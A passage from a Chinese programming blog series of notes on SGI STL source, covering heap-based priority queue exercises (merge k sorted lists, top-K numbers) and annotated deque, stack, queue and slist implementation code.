2. 取出arr[0],将其放到新的链表中,然后将arr[0]元素在原链表中的下一个元素补到arr[0]处,即arr[0].next,如果 arr[0].next为空,即它所在的链表的元素已经取完了,那么将堆的最后一个元素补到arr[0]处,堆的大小自动减1,循环即可。

LeetCode提供了一个练习题Merge k Sorted Lists,我的解题代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
struct ListNode
{
    int val;
    ListNode *next;
    ListNode(int x) : val(x), next(NULL) {}
};
 
class Solution
{
private:
    // 其实可以不用这个索引结构,直接通过节点的next指针即可获取下一个节点
    struct Node
    {
        ListNode *ptr;
        int index;
        Node(ListNode *p, int i) : ptr(p), index(i) {}
        bool operator>(const Node& rhs) const
        {
            return ptr->val > rhs.ptr->val;
        }
    };
 
private:
    vector<Node> arr;
    ListNode head;
 
private:
    void min_heapify(int i)
    {
        int left = i*2;
        int right = i*2 + 1;
        int smallest = i;
        int heapsize = arr.size()-1;
 
        if (left <= heapsize && arr[smallest] > arr[left])
        {
            smallest = left;
        }
        if (right <= heapsize && arr[smallest] > arr[right])
        {
            smallest = right;
        }
 
        if (smallest != i)
        {
            swap(arr[smallest], arr[i]);
            min_heapify(smallest);
        }
    }
 
    void build_heap()
    {
        int heapsize = arr.size()-1;
        for (int i = heapsize/2+1; i >= 1; --i)
        {
            min_heapify(i);
        }
    }
 
public:
    Solution() : head(0) {}
    ListNode *mergeKLists(vector<ListNode *> &lists)
    {
        int n = lists.size();
        arr.clear();
        arr.reserve(n+1);
        arr.push_back(Node(NULL, 0));
 
        for (int i = 0; i < n; ++i)
        {
            if (lists[i] != NULL)
            {
                arr.push_back(Node(lists[i], i));
                lists[i] = lists[i]->next;
            }
        }
 
        ListNode *p = &head;
        build_heap();
        while (arr.size() > 1)
        {
            p->next = arr[1].ptr;
            p = p->next;
            int i = arr[1].index;
            if (lists[i])
            {
                arr[1] = Node(lists[i], i);
                lists[i] = lists[i]->next;
            }
            else
            {
                i = arr.size()-1;
                arr[1] = arr[i];
                arr.erase(arr.end()-1);
            }
            min_heapify(1);
        }
 
        return head.next;
    }
};

6. 输出数据集前K大的数
对于一个数组,要求输出前K大的所有数。
思路:如果采用排序之后再输出,则复杂度为O(NlgN)。如果我们先建立一个堆,然后取出前K大的数,那么复杂度就是O(N)+O(KlgN),效率更高。HDU提供了一个练习题前K大的数,我的解题代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
 
int a[1000010];
 
inline void swap(int &a, int &b)
{
    int tmp = a;
    a = b;
    b = tmp;
}
 
void max_heapify(int i, int size)
{
    int left = i * 2;
    int right = left + 1;
    int largest = i;
 
    if (left <= size && a[left] > a[largest])
    {
        largest = left;
    }
    if (right <= size && a[right] > a[largest])
    {
        largest = right;
    }
    if (largest != i)
    {
        swap(a[largest], a[i]);
        max_heapify(largest, size);
    }
}
 
void build_heap(int n)
{
    for (int i = n/2+1; i >= 1; --i)
    {
        max_heapify(i, n);
    }
}
 
int main(int argc, char **argv)
{
    int n, m;
    while (EOF != scanf("%d %d", &n, &m))
    {
        for (int i = 1; i <= n; ++i)
        {
            scanf("%d", &a[i]);
        }
        build_heap(n);
        printf("%d", a[1]);
        for (int i = 2; i <= m; ++i)
        {
            swap(a[1], a[n-i+2]);
            max_heapify(1, n-i+1);
            printf(" %d", a[1]);
        }
        printf("\n");
    }
 
    return 0;
}

STL源码剖析笔记系列
1. STL笔记之空间配置器
2. STL笔记之迭代器
3. STL笔记之vector
4. STL笔记之list
5. STL笔记之优先队列

参考
http://www.cnblogs.com/shuaiwhu/archive/2011/03/20/2065081.html
http://blog.csdn.net/anonymalias/article/details/8807895
http://www.cnblogs.com/shuaiwhu/archive/2011/03/20/2065077.html
《算法导论》


本文地址: 程序人生 >> STL笔记之优先队列
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

STL笔记之deque

$
0
0

deque是双端队列,在队列头部和尾部可以快速的进行元素的插入和删除操作,相比vector而言有一定的优势,同时由于内部构造的设计,不存在vector那样扩充时带来的“配置新空间 / 移动旧数据 / 释放旧空间”问题。deque还提供Random Access Iterator,可以随机访问容器内的元素。deque同时还是STL中queue和stack的底层依赖组件。

1. deque结构设计
如果只是平时使用deque的话,可能就想不到其内部实现细节了。下面的图片展示deque的内部结构设计:
deque内部结构
可以看到,deque拥有一个bitmap结构(称之为map),map中每一个元素指向一块连续的内存块,后者才是真正存储deque元素的地方,因为每个块都是固定大小的,但是每个块之间不要求是连续的,所以扩充空间的时候,就没有vector那样的副作用了。

鉴于deque的特殊设计,其迭代器也需要特殊设计,deque的iterator的设计结构如图:
deque迭代器设计
迭代器内部维护了四个指针,分别为cur, first, last, node,具体在后面进行介绍。

2. deque迭代器
deque的迭代器的设计,主要是让其看起来像一个random access iterator,因此源码主要各种operator的重载。内部结构分为四个指针,分别为cur, first, last, node。

在某一个时刻,迭代器肯定指向某个具体元素,而这个元素位于N段连续内存块中的某一块,其中node指向map结构中的一个节点(这个节点指向当前的内存块),first指向当前内存块的起始位置,cur指向当前内存块中的特定元素节点,last指向当前内存块的末尾位置,一图抵千言,还是看图来的明白:
STL deque iterator结构
deque iterator的源码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
// ============================================================================
// 一个连续内存块容纳的元素数量
// ============================================================================
inline size_t __deque_buf_size(size_t __size) {
  return __size < 512 ? size_t(512 / __size) : size_t(1);
}
 
template <class _Tp, class _Ref, class _Ptr>
struct _Deque_iterator {
  typedef _Deque_iterator<_Tp, _Tp&, _Tp*>             iterator;
  typedef _Deque_iterator<_Tp, const _Tp&, const _Tp*> const_iterator;
  static size_t _S_buffer_size() { return __deque_buf_size(sizeof(_Tp)); }
 
  // deque 的 iterator 是 random access iterator
  typedef random_access_iterator_tag iterator_category;
  typedef _Tp value_type;
  typedef _Ptr pointer;
  typedef _Ref reference;
  typedef size_t size_type;
  typedef ptrdiff_t difference_type;
  typedef _Tp** _Map_pointer;
 
  typedef _Deque_iterator _Self;
 
  // ==========================================================================
  // 内部指针定义: cur, first, last, node
  // ==========================================================================
  _Tp* _M_cur;
  _Tp* _M_first;
  _Tp* _M_last;
  _Map_pointer _M_node; // T** 类型
 
  // 各种构造函数
  _Deque_iterator(_Tp* __x, _Map_pointer __y) 
    : _M_cur(__x), _M_first(*__y),
      _M_last(*__y + _S_buffer_size()), _M_node(__y) {}
  _Deque_iterator() : _M_cur(0), _M_first(0), _M_last(0), _M_node(0) {}
  _Deque_iterator(const iterator& __x)
    : _M_cur(__x._M_cur), _M_first(__x._M_first), 
      _M_last(__x._M_last), _M_node(__x._M_node) {}
 
  // ==========================================================================
  // iterator的各种操作
  // ==========================================================================
  // 解引用
  reference operator*() const { return *_M_cur; }
  // ->
  pointer operator->() const { return _M_cur; }
  // -操作
  difference_type operator-(const _Self& __x) const {
    return difference_type(_S_buffer_size()) * (_M_node - __x._M_node - 1) +
      (_M_cur - _M_first) + (__x._M_last - __x._M_cur);
  }
 
  // 前置自增
  _Self& operator++() {
    ++_M_cur;
    if (_M_cur == _M_last) {
      // 如果到达末尾了,需要跳转到下一个内存块
      _M_set_node(_M_node + 1);
      _M_cur = _M_first;
    }
    return *this; 
  }
  // 后置自增
  _Self operator++(int)  {
    _Self __tmp = *this;
    ++*this;
    return __tmp;
  }
 
  // 前置自减
  _Self& operator--() {
    if (_M_cur == _M_first) {
      // 如果已经是第一个了,则需要跳转到上一个内存块
      _M_set_node(_M_node - 1);
      _M_cur = _M_last;
    }
    --_M_cur;
    return *this;
  }
  // 后置自减
  _Self operator--(int) {
    _Self __tmp = *this;
    --*this;
    return __tmp;
  }
 
  // += 操作
  _Self& operator+=(difference_type __n)
  {
    difference_type __offset = __n + (_M_cur - _M_first);
    if (__offset >= 0 && __offset < difference_type(_S_buffer_size()))
      _M_cur += __n;
    else {
      difference_type __node_offset =
        __offset > 0 ? __offset / difference_type(_S_buffer_size())
                   : -difference_type((-__offset - 1) / _S_buffer_size()) - 1;
      _M_set_node(_M_node + __node_offset);
      _M_cur = _M_first + 
        (__offset - __node_offset * difference_type(_S_buffer_size()));
    }
    return *this;
  }
  // + 操作
  _Self operator+(difference_type __n) const
  {
    _Self __tmp = *this;
    return __tmp += __n;
  }
  // -= 操作
  _Self& operator-=(difference_type __n) { return *this += -__n; }
  // -操作
  _Self operator-(difference_type __n) const {
    _Self __tmp = *this;
    return __tmp -= __n;
  }
 
  // 下标操作
  reference operator[](difference_type __n) const { return *(*this + __n); }
 
  // 大小 / 等于 / 不等于
  bool operator==(const _Self& __x) const { return _M_cur == __x._M_cur; }
  bool operator!=(const _Self& __x) const { return !(*this == __x); }
  bool operator<(const _Self& __x) const {
    return (_M_node == __x._M_node) ? 
      (_M_cur < __x._M_cur) : (_M_node < __x._M_node);
  }
  bool operator>(const _Self& __x) const  { return __x < *this; }
  bool operator<=(const _Self& __x) const { return !(__x < *this); }
  bool operator>=(const _Self& __x) const { return !(*this < __x); }
 
  // 更新当前指向的内存块
  void _M_set_node(_Map_pointer __new_node) {
    _M_node = __new_node;
    _M_first = *__new_node;
    _M_last = _M_first + difference_type(_S_buffer_size());
  }
};

3. deque分析
deque的构造函数中会进行map结构的初始化操作,通过调用_M_initialize_map来实现,默认map的大小为8. 或者,当用户指定了每个内存块容纳的元素个数时,根据每个内存块默认的大小,算出需要多少个map指针,再加上2. 随后创建map需要的空间,并让start和finish尽可能落在map的中间位置,这样方便在头部和尾部都可以进行高效的扩充。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// enum { _S_initial_map_size = 8 };
// ============================================================================
// _M_initialize_map 初始化map
//      __num_elements : 每一个内存块存储的元素个数
// ============================================================================
template <class _Tp, class _Alloc>
void _Deque_base<_Tp,_Alloc>::_M_initialize_map(size_t __num_elements)
{
  // 计算实际需要map的大小
  size_t __num_nodes = 
    __num_elements / __deque_buf_size(sizeof(_Tp)) + 1;
  // 从默认大小和实际大小中取最大值
  _M_map_size = max((size_t) _S_initial_map_size, __num_nodes + 2);
  // 创建map
  _M_map = _M_allocate_map(_M_map_size);
 
  // 让start和finish落在map的中间位置,使得头部和尾部都方便扩充
  _Tp** __nstart = _M_map + (_M_map_size - __num_nodes) / 2;
  _Tp** __nfinish = __nstart + __num_nodes;
 
  __STL_TRY {
    _M_create_nodes(__nstart, __nfinish);
  }
  __STL_UNWIND((_M_deallocate_map(_M_map, _M_map_size), 
                _M_map = 0, _M_map_size = 0));
  // 设置start和finish的内容
  _M_start._M_set_node(__nstart);
  _M_finish._M_set_node(__nfinish - 1);
  _M_start._M_cur = _M_start._M_first;
  _M_finish._M_cur = _M_finish._M_first +
               __num_elements % __deque_buf_size(sizeof(_Tp));
}
 
// 分配实际存储元素的内存块空间
template <class _Tp, class _Alloc>
void _Deque_base<_Tp,_Alloc>::_M_create_nodes(_Tp** __nstart, _Tp** __nfinish)
{
  _Tp** __cur;
  __STL_TRY {
    for (__cur = __nstart; __cur < __nfinish; ++__cur)
      *__cur = _M_allocate_node();
  }
  __STL_UNWIND(_M_destroy_nodes(__nstart, __cur));
}
 
_Tp* _M_allocate_node()
{
  return _Node_alloc_type::allocate(__deque_buf_size(sizeof(_Tp)));
}

deque支持push_back / pop_back / push_front / pop_font,实现机制都是类似的,这里以push_back为例进行分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// ============================================================================
// deuqe class
// ============================================================================
template <class _Tp, class _Alloc = __STL_DEFAULT_ALLOCATOR(_Tp) >
class deque : protected _Deque_base<_Tp, _Alloc> {
public:
  // ==========================================================================
  // push_back() 操作
  // ==========================================================================
  void push_back(const value_type& __t) {
    // 如果还有多余1个节点的空间,则直接构造,否则借助_M_push_back_aux实现
    if (_M_finish._M_cur != _M_finish._M_last - 1) {
      construct(_M_finish._M_cur, __t);
      ++_M_finish._M_cur;
    }
    else
      _M_push_back_aux(__t);
  }
 
protected:
  // ==========================================================================
  // push_back() 依赖的内部操作
  // ==========================================================================
  void _M_push_back_aux(const value_type& __t)
  {
    value_type __t_copy = __t;
    // 确保map还有剩余空间
    _M_reserve_map_at_back();
    // 构造一块新的内存块,并填充map对应的节点
    *(_M_finish._M_node + 1) = _M_allocate_node();
    __STL_TRY {
      // 构造节点后更新指针
      construct(_M_finish._M_cur, __t_copy);
      _M_finish._M_set_node(_M_finish._M_node + 1);
      _M_finish._M_cur = _M_finish._M_first;
    }
    __STL_UNWIND(_M_deallocate_node(*(_M_finish._M_node + 1)));
  }
 
  void _M_reserve_map_at_back (size_type __nodes_to_add = 1)
  {
    // 如果剩余空间不够,则需要扩充map了
    if (__nodes_to_add + 1 > _M_map_size - (_M_finish._M_node - _M_map))
      _M_reallocate_map(__nodes_to_add, false);
  }
 
  // 默认在尾部扩充
  void _M_reallocate_map(size_type __nodes_to_add, bool __add_at_front)
  {
    // map中已经被填充的节点的个数
    size_type __old_num_nodes = _M_finish._M_node - _M_start._M_node + 1;
    // 需要被填充的新的节点个数
    size_type __new_num_nodes = __old_num_nodes + __nodes_to_add;
 
    _Map_pointer __new_nstart;
    // 如果map的大小比需要被填充的节点个数的两倍还大
    // 则将map中start, finish区间往前移动即可
    if (_M_map_size > 2 * __new_num_nodes) {
      __new_nstart = _M_map + (_M_map_size - __new_num_nodes) / 2 
                       + (__add_at_front ? __nodes_to_add : 0);
      if (__new_nstart < _M_start._M_node)
        copy(_M_start._M_node, _M_finish._M_node + 1, __new_nstart);
      else
        copy_backward(_M_start._M_node, _M_finish._M_node + 1, 
                      __new_nstart + __old_num_nodes);
    }
    // 否则就需要重新配置一个新的map了
    else {
      size_type __new_map_size = 
        _M_map_size + max(_M_map_size, __nodes_to_add) + 2;
 
      _Map_pointer __new_map = _M_allocate_map(__new_map_size);
      __new_nstart = __new_map + (__new_map_size - __new_num_nodes) / 2
                           + (__add_at_front ? __nodes_to_add : 0);
      copy(_M_start._M_node, _M_finish._M_node + 1, __new_nstart);
      _M_deallocate_map(_M_map, _M_map_size);
 
      _M_map = __new_map;
      _M_map_size = __new_map_size;
    }
 
    _M_start._M_set_node(__new_nstart);
    _M_finish._M_set_node(__new_nstart + __old_num_nodes - 1);
  }
  // ...
}

deque还有很多内部/外部函数,也都是围绕deque自身独特的设计进行操作,这里不再分析。

4. Adapter设计模式
STL出现最多的两个模式是迭代器模式和适配器模式(配接器模式、Adapter Pattern),这两个模式都是GoF提出的经典设计模式。

适配器模式(英语:adapter pattern)有时候也称包装样式或者包装。将一个类的接口转接成用户所期待的。一个适配使得因接口不兼容而不能在一起工作的类工作在一起,做法是将类别自己的接口包裹在一个已存在的类中。

举个例子:我的笔记本电脑的工作电压是20V,而家庭用电是220V,如何让20V的笔记本电脑能够在220V的电压下工作?答案是引入一个电源适配器(AC Adapter),俗称充电器或变压器。

STL中queue和stack就是应用于deque的适配器模式的例子,他们的代码都很简单,都是基于deque实现的,是对deque进行的包装。这对用户而言是透明的,就好比使用priority_queue的时候不需要知道内部是heap实现的一样。

适配器模式的结构如图所示:
Adapter设计模式
在这里,程序猿就是Client,stack/queue就是Target(或者说Adapter,因为没有继承结构,所以不需要面向接口编程了),而deque就是Adaptee了,在使用stack/queue的时候,程序猿不需要知道底层是由deque实现的。

5. stack和queue
stack的源码如下(删除了比较操作符相关代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// stack默认基于deque实现
template <class _Tp, 
          class _Sequence __STL_DEPENDENT_DEFAULT_TMPL(deque<_Tp>) >
class stack;
 
template <class _Tp, class _Sequence>
class stack {
public:
  typedef typename _Sequence::value_type      value_type;
  typedef typename _Sequence::size_type       size_type;
  typedef          _Sequence                  container_type;
 
  typedef typename _Sequence::reference       reference;
  typedef typename _Sequence::const_reference const_reference;
protected:
  // 内部容器
  _Sequence c;
public:
  // 构造函数
  stack() : c() {}
  explicit stack(const _Sequence& __s) : c(__s) {}
 
  // 基于容器c实现的操作
  bool empty() const { return c.empty(); }
  size_type size() const { return c.size(); }
  reference top() { return c.back(); }
  const_reference top() const { return c.back(); }
  void push(const value_type& __x) { c.push_back(__x); }
  void pop() { c.pop_back(); }
};

queue的源码如下(删除了比较操作符相关代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// queue默认基于deque实现
template <class _Tp, 
          class _Sequence __STL_DEPENDENT_DEFAULT_TMPL(deque<_Tp>) >
class queue;
 
template <class _Tp, class _Sequence>
class queue {
public:
  typedef typename _Sequence::value_type      value_type;
  typedef typename _Sequence::size_type       size_type;
  typedef          _Sequence                  container_type;
 
  typedef typename _Sequence::reference       reference;
  typedef typename _Sequence::const_reference const_reference;
 
protected:
  // 内部容器c
  _Sequence c;
public:
  queue() : c() {}
  explicit queue(const _Sequence& __c) : c(__c) {}
 
  // 基于c实现的函数
  bool empty() const { return c.empty(); }
  size_type size() const { return c.size(); }
  reference front() { return c.front(); }
  const_reference front() const { return c.front(); }
  reference back() { return c.back(); }
  const_reference back() const { return c.back(); }
  void push(const value_type& __x) { c.push_back(__x); }
  void pop() { c.pop_front(); }
};

STL源码剖析笔记系列
1. STL笔记之空间配置器
2. STL笔记之迭代器
3. STL笔记之vector
4. STL笔记之list
5. STL笔记之优先队列
6. STL笔记之deque

参考
http://zh.wikipedia.org/wiki/适配器模式
http://blog.csdn.net/lovelion/article/details/8624325
《设计模式 可复用面向对象软件的基础》


本文地址: 程序人生 >> STL笔记之deque
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

STL笔记之slist

$
0
0

slist是SGI STL里面的一个单向链表,不过这个不属于标准定义,所以,G++下面不能用,另外看了下VS2008里面也没有。不过看到书上这一部分讲解,还是配合SGI的代码做一个了解。一般情况下使用标准的list就可以满足要求了,而且会更加方便,list的分析可以参考STL笔记之list一文。因为slist是单向链表,所以它的迭代器类型为forward_iterator。

1. slist节点设计
链表最基本的结构就是指针域和数据域,对单向链表的节点而言,其拥有一个next指针,指向下一个节点,同时拥有一个数据域用于存储节点的数据。slist在这里做了一个分层处理,基类_Slist_node_base只有next指针,用于链表的构造,子类_Slist_node继承自_Slist_node_base,同时拥有一个存储数据的成员。

1
2
3
4
5
6
7
8
9
10
11
12
// node 基类
struct _Slist_node_base
{
  _Slist_node_base* _M_next;
};
 
// slist_node
template <class _Tp>
struct _Slist_node : public _Slist_node_base
{
  _Tp _M_data;
};

一些基本的函数操作,基于_Slist_node_base指针类型。可以看到因为单链表只能往后迭代,所以很多操作都没有提供,即使提供了,也是非常低效的操作,需要从头结点开始遍历。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// 在prev后面插入新节点,返回指向新的节点的指针
inline _Slist_node_base*
__slist_make_link(_Slist_node_base* __prev_node,
                  _Slist_node_base* __new_node)
{
  __new_node->_M_next = __prev_node->_M_next;
  __prev_node->_M_next = __new_node;
  return __new_node;
}
 
// 返回指定节点的上一个节点,需要从head开始遍历
inline _Slist_node_base* 
__slist_previous(_Slist_node_base* __head,
                 const _Slist_node_base* __node)
{
  while (__head && __head->_M_next != __node)
    __head = __head->_M_next;
  return __head;
}
 
// 拼接操作:将[before_first->next, before_last]拼接到pos后
inline void __slist_splice_after(_Slist_node_base* __pos,
                                 _Slist_node_base* __before_first,
                                 _Slist_node_base* __before_last)
{
  if (__pos != __before_first && __pos != __before_last) {
    _Slist_node_base* __first = __before_first->_M_next;
    _Slist_node_base* __after = __pos->_M_next;
    __before_first->_M_next = __before_last->_M_next;
    __pos->_M_next = __first;
    __before_last->_M_next = __after;
  }
}
 
// 将head指向的链表拼接到pos之后
inline void
__slist_splice_after(_Slist_node_base* __pos, _Slist_node_base* __head)
{
  _Slist_node_base* __before_last = __slist_previous(__head, 0);
  if (__before_last != __head) {
    _Slist_node_base* __after = __pos->_M_next;
    __pos->_M_next = __head->_M_next;
    __head->_M_next = 0;
    __before_last->_M_next = __after;
  }
}
 
// 翻转链表
inline _Slist_node_base* __slist_reverse(_Slist_node_base* __node)
{
  _Slist_node_base* __result = __node;
  __node = __node->_M_next;
  __result->_M_next = 0;
  while(__node) {
    _Slist_node_base* __next = __node->_M_next;
    __node->_M_next = __result;
    __result = __node;
    __node = __next;
  }
  return __result;
}
 
// 求链表的节点个数
inline size_t __slist_size(_Slist_node_base* __node)
{
  size_t __result = 0;
  for ( ; __node != 0; __node = __node->_M_next)
    ++__result;
  return __result;
}

2. slist迭代器设计
slist的迭代器属于forward iterator,只能往前迭代,因此除了迭代器的基本操作之外,只实现了operator++操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// iterator基类
struct _Slist_iterator_base
{
  typedef size_t               size_type;
  typedef ptrdiff_t            difference_type;
  // 迭代器类型为forward_iterator
  typedef forward_iterator_tag iterator_category;
 
  _Slist_node_base* _M_node;
 
  _Slist_iterator_base(_Slist_node_base* __x) : _M_node(__x) {}
 
  // 只提供往前访问的方法
  void _M_incr() { _M_node = _M_node->_M_next; }
 
  bool operator==(const _Slist_iterator_base& __x) const {
    return _M_node == __x._M_node;
  }
 
  bool operator!=(const _Slist_iterator_base& __x) const {
    return _M_node != __x._M_node;
  }
};
 
// 迭代器定义
template <class _Tp, class _Ref, class _Ptr>
struct _Slist_iterator : public _Slist_iterator_base
{
  typedef _Slist_iterator<_Tp, _Tp&, _Tp*>             iterator;
  typedef _Slist_iterator<_Tp, const _Tp&, const _Tp*> const_iterator;
  typedef _Slist_iterator<_Tp, _Ref, _Ptr>             _Self;
 
  typedef _Tp              value_type;
  typedef _Ptr             pointer;
  typedef _Ref             reference;
  typedef _Slist_node<_Tp> _Node;
 
  _Slist_iterator(_Node* __x) : _Slist_iterator_base(__x) {}
  _Slist_iterator() : _Slist_iterator_base(0) {}
  _Slist_iterator(const iterator& __x) : _Slist_iterator_base(__x._M_node) {}
 
  reference operator*() const { return ((_Node*) _M_node)->_M_data; }
  pointer operator->() const { return &(operator*()); }
 
  _Self& operator++()
  {
    _M_incr();
    return *this;
  }
 
  _Self operator++(int)
  {
    _Self __tmp = *this;
    _M_incr();
    return __tmp;
  }
};

3. slist设计
slist也是分层的设计,_Slist_base中定义了一个类型为_Slist_node_base的_M_head成员,head.next即指向链表的第一个节点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
template <class _Tp, class _Alloc> 
struct _Slist_base {
  typedef _Alloc allocator_type;
  allocator_type get_allocator() const { return allocator_type(); }
 
  // 构造函数,将head.next置为空
  _Slist_base(const allocator_type&) { _M_head._M_next = 0; }
  // 析构函数, 通过调用_M_erase_after删除所有节点
  ~_Slist_base() { _M_erase_after(&_M_head, 0); }
 
protected:
  typedef simple_alloc<_Slist_node<_Tp>, _Alloc> _Alloc_type;
  _Slist_node<_Tp>* _M_get_node() { return _Alloc_type::allocate(1); }
  void _M_put_node(_Slist_node<_Tp>* __p) { _Alloc_type::deallocate(__p, 1); }
 
  // 删除指定节点后面的节点
  _Slist_node_base* _M_erase_after(_Slist_node_base* __pos)
  {
    _Slist_node<_Tp>* __next = (_Slist_node<_Tp>*) (__pos->_M_next);
    _Slist_node_base* __next_next = __next->_M_next;
    __pos->_M_next = __next_next;
    destroy(&__next->_M_data);
    _M_put_node(__next);
    return __next_next;
  }
 
  _Slist_node_base* _M_erase_after(_Slist_node_base*, _Slist_node_base*);
protected:
  _Slist_node_base _M_head;
};  
 
// 删除指定节点之后的节点:区间[before_first->next, last)
template <class _Tp, class _Alloc> 
_Slist_node_base*
_Slist_base<_Tp,_Alloc>::_M_erase_after(_Slist_node_base* __before_first,
                                        _Slist_node_base* __last_node) {
  _Slist_node<_Tp>* __cur = (_Slist_node<_Tp>*) (__before_first->_M_next);
  while (__cur != __last_node) {
    _Slist_node<_Tp>* __tmp = __cur;
    __cur = (_Slist_node<_Tp>*) __cur->_M_next;
    destroy(&__tmp->_M_data);
    _M_put_node(__tmp);
  }
  __before_first->_M_next = __last_node;
  return __last_node;
}

slist基本结构定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
template <class _Tp, class _Alloc = __STL_DEFAULT_ALLOCATOR(_Tp) >
class slist : private _Slist_base<_Tp,_Alloc>
{
private:
  typedef _Slist_base<_Tp,_Alloc> _Base;
 
public:
  typedef _Tp               value_type;
  typedef value_type*       pointer;
  typedef const value_type* const_pointer;
  typedef value_type&       reference;
  typedef const value_type& const_reference;
  typedef size_t            size_type;
  typedef ptrdiff_t         difference_type;
 
  typedef _Slist_iterator<_Tp, _Tp&, _Tp*>             iterator;
  typedef _Slist_iterator<_Tp, const _Tp&, const _Tp*> const_iterator;
 
  typedef typename _Base::allocator_type allocator_type;
 
  allocator_type get_allocator() const { return _Base::get_allocator(); }
 
private:
  typedef _Slist_node<_Tp>      _Node;
  typedef _Slist_node_base      _Node_base;
  typedef _Slist_iterator_base  _Iterator_base;
 
  _Node* _M_create_node(const value_type& __x) {
    _Node* __node = this->_M_get_node();
    __STL_TRY {
      construct(&__node->_M_data, __x);
      __node->_M_next = 0;
    }
    __STL_UNWIND(this->_M_put_node(__node));
    return __node;
  }
 
  _Node* _M_create_node() {
    _Node* __node = this->_M_get_node();
    __STL_TRY {
      construct(&__node->_M_data);
      __node->_M_next = 0;
    }
    __STL_UNWIND(this->_M_put_node(__node));
    return __node;
  }
 
public:
  iterator begin() { return iterator((_Node*)this->_M_head._M_next); }
 
  iterator end() { return iterator(0); }
 
  size_type size() const { return __slist_size(this->_M_head._M_next); }
 
  size_type max_size() const { return size_type(-1); }
 
  bool empty() const { return this->_M_head._M_next == 0; }
 
  void swap(slist& __x)
    { __STD::swap(this->_M_head._M_next, __x._M_head._M_next); }
 
public:
  reference front() { return ((_Node*) this->_M_head._M_next)->_M_data; }
  void push_front(const value_type& __x)   {
    __slist_make_link(&this->_M_head, _M_create_node(__x));
  }
 
  void pop_front() {
    _Node* __node = (_Node*) this->_M_head._M_next;
    this->_M_head._M_next = __node->_M_next;
    destroy(&__node->_M_data);
    this->_M_put_node(__node);
  }
 
  iterator previous(const_iterator __pos) {
    return iterator((_Node*) __slist_previous(&this->_M_head, __pos._M_node));
  }
 
private:
  _Node* _M_insert_after(_Node_base* __pos, const value_type& __x) {
    return (_Node*) (__slist_make_link(__pos, _M_create_node(__x)));
  }
 
public:
  void reverse() { 
    if (this->_M_head._M_next)
      this->_M_head._M_next = __slist_reverse(this->_M_head._M_next);
  }
};

4. slist排序
slist的sort代码与list的sort代码非常类似,可以参考list sort一节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
template <class _Tp, class _Alloc>
void slist<_Tp,_Alloc>::sort()
{
  if (this->_M_head._M_next && this->_M_head._M_next->_M_next) {
    slist __carry;
    slist __counter[64];
    int __fill = 0;
 
    while (!empty()) {
      __slist_splice_after(&__carry._M_head,
                           &this->_M_head, this->_M_head._M_next);
      int __i = 0;
      while (__i < __fill && !__counter[__i].empty()) {
        __counter[__i].merge(__carry);
        __carry.swap(__counter[__i]);
        ++__i;
      }
      __carry.swap(__counter[__i]);
      if (__i == __fill)
        ++__fill;
    }
 
    for (int __i = 1; __i < __fill; ++__i)
      __counter[__i].merge(__counter[__i-1]);
    this->swap(__counter[__fill-1]);
  }
}

至此,STL常见序列容器基本分析完毕,接下来准备看看关联容器,以及记录一下使用STL过程中遇到的一些“坑”(比如最近使用sort导致了core dump)。

STL源码剖析笔记系列
1. STL笔记之空间配置器
2. STL笔记之迭代器
3. STL笔记之vector
